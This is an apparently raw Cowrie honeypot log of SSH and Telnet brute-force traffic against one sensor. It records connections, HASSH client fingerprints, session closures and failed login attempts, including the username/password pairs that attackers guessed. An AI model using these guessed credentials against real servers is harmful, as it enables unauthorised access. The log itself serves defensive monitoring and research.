{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:13.778523Z","src_ip":"2.57.121.112","session":"93595f749804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29101974","message":"login attempt [admin/29101974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:14.288726Z","src_ip":"2.57.121.112","session":"93595f749804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":35494,"dst_ip":"10.17.0.5","dst_port":22,"session":"b02f3965b4ba","protocol":"ssh","message":"New connection: 185.236.22.41:35494 (10.17.0.5:22) [session: b02f3965b4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:15.179822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:15.263892Z","src_ip":"185.236.22.41","session":"b02f3965b4ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:15.364360Z","src_ip":"185.236.22.41","session":"b02f3965b4ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290976","message":"login attempt [admin/290976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:15.399799Z","src_ip":"2.57.121.112","session":"93595f749804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345l","message":"login attempt [root/12345l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:16.047970Z","src_ip":"185.236.22.41","session":"b02f3965b4ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29091998","message":"login attempt [admin/29091998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:16.519789Z","src_ip":"2.57.121.112","session":"93595f749804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36958,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad2d328474bb","protocol":"telnet","message":"New connection: 192.119.13.58:36958 (10.17.0.5:23) [session: ad2d328474bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:17.012626Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:17.176212Z","src_ip":"185.236.22.41","session":"b02f3965b4ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39168,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c6c88ba526","protocol":"telnet","message":"New connection: 192.119.13.58:39168 (10.17.0.5:23) [session: 95c6c88ba526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:17.556839Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29091973","message":"login attempt [admin/29091973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:17.630046Z","src_ip":"2.57.121.112","session":"93595f749804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290879","message":"login attempt [admin/290879] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:18.741672Z","src_ip":"2.57.121.112","session":"93595f749804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec17278b7ed9","protocol":"telnet","message":"New connection: 192.119.13.58:45992 (10.17.0.5:23) [session: ec17278b7ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:19.178808Z"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:19.853670Z","src_ip":"2.57.121.112","session":"93595f749804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42822,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cf6e9920cb2","protocol":"telnet","message":"New connection: 192.119.13.58:42822 (10.17.0.5:23) [session: 1cf6e9920cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:25.095762Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55038,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc6dbdfbd186","protocol":"telnet","message":"New connection: 192.119.13.58:55038 (10.17.0.5:23) [session: bc6dbdfbd186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:27.991856Z"}
{"eventid":"cowrie.session.closed","duration":1.3872392177581787,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:29.378961Z","src_ip":"192.119.13.58","session":"bc6dbdfbd186","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34928,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bb0b1d4c142","protocol":"telnet","message":"New connection: 192.119.13.58:34928 (10.17.0.5:23) [session: 9bb0b1d4c142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:30.019377Z"}
{"eventid":"cowrie.session.closed","duration":44.7089204788208,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:31.767506Z","src_ip":"192.119.13.58","session":"3c8491aac073","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":12360,"dst_ip":"10.17.0.5","dst_port":22,"session":"e87ee0199143","protocol":"ssh","message":"New connection: 115.68.226.124:12360 (10.17.0.5:22) [session: e87ee0199143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:33.032977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:33.038500Z","src_ip":"115.68.226.124","session":"e87ee0199143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58968,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e97b4199337","protocol":"ssh","message":"New connection: 193.32.162.145:58968 (10.17.0.5:22) [session: 3e97b4199337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:33.195865Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:33.245940Z","src_ip":"115.68.226.124","session":"e87ee0199143","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:33.316997Z","src_ip":"193.32.162.145","session":"3e97b4199337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:33.326022Z","src_ip":"193.32.162.145","session":"3e97b4199337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shredstream","password":"shredstream","message":"login attempt [shredstream/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:33.747815Z","src_ip":"193.32.162.145","session":"3e97b4199337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:34.095276Z","src_ip":"115.68.226.124","session":"e87ee0199143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:34.873073Z","src_ip":"193.32.162.145","session":"3e97b4199337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:35.307822Z","src_ip":"115.68.226.124","session":"e87ee0199143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":46498,"dst_ip":"10.17.0.5","dst_port":22,"session":"3974f46d1659","protocol":"ssh","message":"New connection: 40.83.182.122:46498 (10.17.0.5:22) [session: 3974f46d1659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:37.058156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:37.064774Z","src_ip":"40.83.182.122","session":"3974f46d1659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:37.142635Z","src_ip":"40.83.182.122","session":"3974f46d1659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ericsson","message":"login attempt [root/ericsson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:37.483532Z","src_ip":"40.83.182.122","session":"3974f46d1659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:38.563972Z","src_ip":"40.83.182.122","session":"3974f46d1659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.589540004730225,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:38.728450Z","src_ip":"192.119.13.58","session":"8a9e471354ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46590,"dst_ip":"10.17.0.5","dst_port":23,"session":"335470b87f18","protocol":"telnet","message":"New connection: 192.119.13.58:46590 (10.17.0.5:23) [session: 335470b87f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:39.555398Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50192,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5a7826cbc64","protocol":"telnet","message":"New connection: 192.119.13.58:50192 (10.17.0.5:23) [session: f5a7826cbc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:40.398874Z"}
{"eventid":"cowrie.session.closed","duration":0.00725245475769043,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:40.405991Z","src_ip":"192.119.13.58","session":"f5a7826cbc64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42742,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8af794f6ea8","protocol":"telnet","message":"New connection: 192.119.13.58:42742 (10.17.0.5:23) [session: d8af794f6ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:45.238336Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42790,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5b7cde6901","protocol":"telnet","message":"New connection: 192.119.13.58:42790 (10.17.0.5:23) [session: 3d5b7cde6901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:45.243976Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":36600,"dst_ip":"10.17.0.5","dst_port":22,"session":"9619bf288f21","protocol":"ssh","message":"New connection: 49.51.73.108:36600 (10.17.0.5:22) [session: 9619bf288f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:48.180699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:48.185511Z","src_ip":"49.51.73.108","session":"9619bf288f21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:48.254042Z","src_ip":"49.51.73.108","session":"9619bf288f21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pwd@CentOS","message":"login attempt [root/Pwd@CentOS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:48.559038Z","src_ip":"49.51.73.108","session":"9619bf288f21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60924,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a458917a00","protocol":"telnet","message":"New connection: 192.119.13.58:60924 (10.17.0.5:23) [session: c6a458917a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:49.481577Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:49.630762Z","src_ip":"49.51.73.108","session":"9619bf288f21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":23238,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab9ab52fd31","protocol":"ssh","message":"New connection: 201.249.192.30:23238 (10.17.0.5:22) [session: 6ab9ab52fd31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:53.825337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:53.830696Z","src_ip":"201.249.192.30","session":"6ab9ab52fd31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:20:53.903712Z","src_ip":"201.249.192.30","session":"6ab9ab52fd31","protocol":"ssh"}
